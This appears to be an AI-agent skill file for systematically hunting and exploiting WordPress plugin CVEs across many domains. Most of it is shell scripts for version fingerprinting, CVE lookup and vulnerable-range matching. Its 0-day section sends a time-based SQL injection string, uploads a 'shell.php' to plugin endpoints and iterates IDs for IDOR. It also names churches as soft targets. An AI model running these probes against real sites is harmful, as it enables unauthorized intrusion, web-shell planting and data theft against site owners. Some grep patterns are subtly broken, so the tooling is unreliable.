WP-PLUGIN-CVE-HUNT — Systematic WordPress Plugin CVE Discovery & Exploitation
When to Use
Use after WordPress detection recon has identified a list of WP targets with known plugins. This skill goes beyond simple readme.txt version checking — it performs multi-source version extraction, CVE database cross-referencing, version comparison, vulnerability assessment, and PoC generation. Ideal when you have a list of 10+ WP domains and need to systematically find which specific plugin CVEs are exploitable.
Distinction from wp-plugin-automation: this skill focuses on the human-guided CVE research process — WPScan API integration, Patchstack database queries, NVD cross-referencing, CVE detail investigation, and manual PoC validation. wp-plugin-automation handles the batch scanning pipeline across hundreds of domains.
Quick Reference
# Quick CVE scan for a single target
TARGET="example.com"
# 1. List plugins via readme.txt
for p in elementskit revslider elementor woocommerce gravityforms jetpack wp-file-manager wordpress-seo give contact-form-7; do
v=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$p/readme.txt" 2>/dev/null | grep -i "stable tag\|version" | head -1)
[ -n "$v" ] && echo "PLUGIN: $p -> $v"
done
# 2. WPScan API query (requires API token)
wpscan --url "https://$TARGET" --api-token "$WPSCAN_TOKEN" --enumerate vp
# 3. Check specific CVE
curl --max-time 30 --connect-timeout 10 -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2023-6853" | python3 -c "
import sys, json; d=json.load(sys.stdin)
vuln=d['vulnerabilities'][0]['cve']
print(f\"{vuln['id']}: {vuln['descriptions'][0]['value']}\")
print(f\"CVSS: {vuln['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']}\")
"
Step-by-Step
Phase 1 — Plugin Discovery & Multi-Source Version Extraction
Don't rely solely on readme.txt — plugins can hide version info in multiple locations:
#!/bin/bash
# multi-source-version.sh — Extract plugin version from multiple sources
TARGET="$1"
PLUGIN="$2" # e.g., elementskit
PLUGIN_DIR="$3" # e.g., elementskit-lite (can differ from slug)
# Source 1: readme.txt (most common)
v1=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/readme.txt" 2>/dev/null | \
grep -i "stable tag\|version" | head -1 | grep -Eo '[\d.]+')
echo "Source 1 (readme.txt): $v1"
# Source 2: Main plugin PHP header
v2=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/$PLUGIN.php" 2>/dev/null | \
grep -Eo 'Version:\s*\K[\d.]+')
echo "Source 2 (plugin header): $v2"
# Source 3: CSS/JS asset paths (many plugins version their assets)
v3=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" 2>/dev/null | \
grep -Eo "$PLUGIN_DIR/.*?ver=([\d.]+)" | grep -Eo '[\d.]+\b' | sort -uV | tail -1)
echo "Source 3 (asset version): $v3"
# Source 4: REST API namespace (some plugins include version in namespace)
v4=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/" 2>/dev/null | \
python3 -c "import sys,json; [print(n.split('/')[1]) for n in json.load(sys.stdin).get('namespaces',[]) if '$PLUGIN' in n and '/' in n]" 2>/dev/null)
echo "Source 4 (REST namespace): $v4"
# Deduplicate to most reliable version
echo "=== BEST VERSION ==="
for src in "$v1" "$v2" "$v3"; do
if [ -n "$src" ]; then
echo "$src"
break
fi
done
Phase 2 — CVE Database Cross-Referencing
#!/bin/bash
# cve-lookup.sh — Query multiple CVE sources for a plugin
# Method 1: WPScan API (requires token)
curl --max-time 30 --connect-timeout 10 -sk "https://wpscan.com/api/v3/plugins/$PLUGIN" \
-H "Authorization: Token token=$WPSCAN_TOKEN" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
print(f\"{vuln.get('cve', 'no-cve')}: {vuln.get('title', '')} ({vuln.get('fixed_in', 'unpatched')})\")
" 2>/dev/null
# Method 2: NVD API (no token required)
curl --max-time 30 --connect-timeout 10 -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=$PLUGIN&keywordExactMatch" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
cve = vuln['cve']
vid = cve['id']
desc = cve['descriptions'][0]['value'][:200] if cve['descriptions'] else ''
try:
score = cve['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
except:
score = 'N/A'
print(f'{vid} (CVSS:{score}): {desc}')
" 2>/dev/null
# Method 3: Patchstack database
curl --max-time 30 --connect-timeout 10 -sk "https://patchstack.com/database/search/?s=$PLUGIN" | \
python3 -c "
import sys, re
content = sys.stdin.read()
cves = re.findall(r'CVE-\d{4}-\d{4,7}', content)
print(f'Patchstack CVEs: {cves}')
" 2>/dev/null
Phase 3 — Version Comparison & Vulnerability Assessment
#!/bin/bash
# vuln-assess.sh — Compare installed version against known vulnerable ranges
compare_version() {
local current="$1" fixed="$2" plugin_name="$3" cve="$4" severity="$5"
if [ -n "$current" ] && [ -n "$fixed" ]; then
if [ "$(printf '%s\n' "$fixed" "$current" | sort -V | head -1)" != "$fixed" ] && \
[ "$current" != "$fixed" ]; then
echo "[VULN] $plugin_name ($current) < $fixed → $cve ($severity)"
elif [ "$current" = "$fixed" ]; then
echo "[OK] $plugin_name ($current) = $fixed (patched for $cve)"
else
echo "[OK] $plugin_name ($current) >= $fixed (patched for $cve)"
fi
fi
}
# ElementsKit
compare_version "$ELEMENTS_KIT_VER" "2.9.4" "ElementsKit" "CVE-2023-6851/CVE-2023-6853" "CRITICAL"
compare_version "$ELEMENTS_KIT_VER" "2.9.8" "ElementsKit" "CVE-2024-2117" "MEDIUM"
# Slider Revolution
compare_version "$REVSLIDER_VER" "6.6.20" "Revslider" "CVE-2024-2534" "CRITICAL"
compare_version "$REVSLIDER_VER" "6.5.8" "Revslider" "CVE-2022-2944" "HIGH"
compare_version "$REVSLIDER_VER" "6.5.11" "Revslider" "CVE-2022-9821" "MEDIUM"
# WPDM
compare_version "$WPDM_VER" "3.3.00" "WPDM" "CVE-2023-49753" "CRITICAL"
compare_version "$WPDM_VER" "3.2.00" "WPDM" "CVE-2021-25069" "HIGH"
# Gravity Forms
compare_version "$GF_VER" "2.8.2" "GravityForms" "CVE-2024-6115" "HIGH"
# Jetpack
compare_version "$JETPACK_VER" "13.1" "Jetpack" "CVE-2024-1782" "HIGH"
# Contact Form 7
if [ -n "$CF7_VER" ] && [ "$(printf '%s\n' "5.6" "$CF7_VER" | sort -V | head -1)" != "$CF7_VER" ] && \
[ "$CF7_VER" != "5.6" ]; then
echo "[VULN] Contact Form 7 ($CF7_VER) < 5.6 — File upload bypass"
fi
Phase 4 — Candidate Validation Planning
cat <<'PLAN'
Before a plugin PoC:
1. Confirm the exact installed version from two signals.
2. Confirm the affected route and authentication prerequisite.
3. Read the vendor advisory and patch diff.
4. Obtain explicit authorization for any upload, write, delay, or execution.
5. Use a synthetic object or inert artifact and define cleanup.
6. Record a negative control on the patched or unauthorized path.
PLAN
Phase 5 — False-Positive Elimination
# Check 1: Does readme.txt version match actual deployed version?
# Sometimes readme.txt is not updated but plugin PHP is patched
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/elementskit/elementskit.php" | grep "Version:"
# Check 2: Is the REST endpoint actually available (not disabled by WAF)?
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file"
# Check 3: Is the vulnerable code path actually reachable?
# Some CVEs require specific plugin features to be enabled
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/elementskit/v1/" | python3 -m json.tool 2>/dev/null
# Check 4: Test exploitation in safe mode first — verify endpoint exists before running destructive payload
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" | head -20
# Check 5: Version from JS/CSS assets vs readme.txt — if they differ, plugin may be partially updated
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" | grep -Eo 'elementskit.*?ver=[0-9.]+'
Phase 6 — Custom CVE Discovery (0-day / Undisclosed)
# When no CVE exists for a plugin, test these common patterns:
# 1. REST API route enumeration (undocumented endpoints)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route in d.get('routes', {}):
print(f' {route}')
except: pass
"
# 2. AJAX handler testing
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-admin/admin-ajax.php" -d "action=$PLUGIN_ajax_function"
# 3. SQLi in plugin shortcode attributes
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$PLUGIN_param=1' AND SLEEP(5)--"
# 4. File upload in plugin media handlers
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/upload" -F "file=@shell.php"
# 5. IDOR in plugin REST endpoints (iterate IDs)
for id in $(seq 1 100); do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/data/$id" | jq '. | {id}' 2>/dev/null
done
Attack Surface Signals
- Plugin readme.txt accessible at /wp-content/plugins//readme.txt
- Plugin asset versions visible in HTML source (ver= parameter)
- REST API namespace includes plugin version
- WPScan output showing known vulnerabilities
- Admin notice banners in page source indicating plugin version
CVE Matrix (Curated)
| Plugin | CVE(s) | Type | Fixed In | Severity |
|---|---|---|---|---|
| ElementsKit | CVE-2023-6851, CVE-2023-6853 | SQLi + File Upload | 2.9.4 | Critical |
| ElementsKit | CVE-2024-2117 | XSS | 2.9.8 | Medium |
| Revslider | CVE-2024-2534 | RCE | 6.6.20 | Critical |
| Revslider | CVE-2022-2944 | SQLi | 6.5.8 | High |
| Revslider | CVE-2022-9821 | CSRF->XSS | 6.5.11 | Medium |
| WPDM | CVE-2023-49753 | SQLi | 3.3.00 | Critical |
| WPDM | CVE-2021-25069 | Unauth Download | 3.2.00 | High |
| WPDM | CVE-2021-34639 | Auth File Upload | 3.2.10 | High |
| Gravity Forms | CVE-2024-6115 | PHP Object Inj. | 2.8.2 | High |
| Contact Form 7 | — | File Upload Bypass | 5.6 | High |
| Jetpack | CVE-2024-1782 | SSRF | 13.1 | High |
| WP Super Cache | — | Debug Log Exposure | All | Medium |
| GSpeech | CVE-2025-10187 | XSS | 7.2 | Medium |
| WooCommerce | Multiple | Various | Varies | Varies |
| Wordfence | — | Firewall bypass | N/A | Informational |
Common Root Causes
- Plugin auto-update disabled — admin turns off updates to avoid breaking site customizations
- Abandoned plugins — developer stops maintaining, CVEs accumulate with no patches
- Nulled/premium plugins — pirated plugins with backdoors installed on budget sites
- Plugin bloat — 50+ plugins installed, impossible to track CVEs manually
- WPScan false negatives — WPScan database may not have the latest CVEs; always cross-reference
- Agency-managed neglect — agency builds site, doesn't update plugins after handoff
- readme.txt not updated — plugin is patched but readme.txt still shows old version (false positive risk)
Verification
- WPScan vulnerability DB — confirm WPScan can check CVEs:
wpscan --version 2>/dev/null && echo "PASS: wpscan available" || echo "NOTE: wpscan not installed" - CVE pattern — confirm CVE format recognition:
echo "CVE-2024-12345" | grep -qE "CVE-[0-9]{4}-[0-9]+" && echo "PASS: CVE format recognized" || echo "FAIL"
All tests verify WP CVE hunt readiness.
Pitfalls
- CVE without version match — CVE-2024-XXXX affects "versions < 2.5.0." Having the plugin installed doesn't mean it's vulnerable. Verify the exact version.
- Patched CVE in changelog — if the changelog says "Fixed: CVE-2024-XXXX," the installed version may already include the patch. Check the release date vs version.
- CVE requiring authentication — many WordPress plugin CVEs require administrator access. These are post-auth, lower severity by default.
- Stale NVD data — NVD has a backlog. Check WPScan, Patchstack, and Wordfence for more current CVE data.
- Plugin CVE but plugin not active — an installed but deactivated plugin can't be exploited via web requests. Verify the plugin is active.
Related Skills
- hunt-wordpress — primary skill for WordPress detection and general recon
- wp-plugin-automation — batch scanning pipeline across hundreds of domains
- recon-sector — sector-specific recon (churches have highest plugin vulnerability rate)
- hunt-rce — plugin CVEs are a primary RCE path
- hunt-file-upload — file upload CVEs from plugin vulnerabilities
- hunt-sqli — SQL injection CVEs from plugin SQLi flaws
- hunt-xss — XSS CVEs from plugin injection flaws
- hunt-source-leak — debug.log reveals plugin version info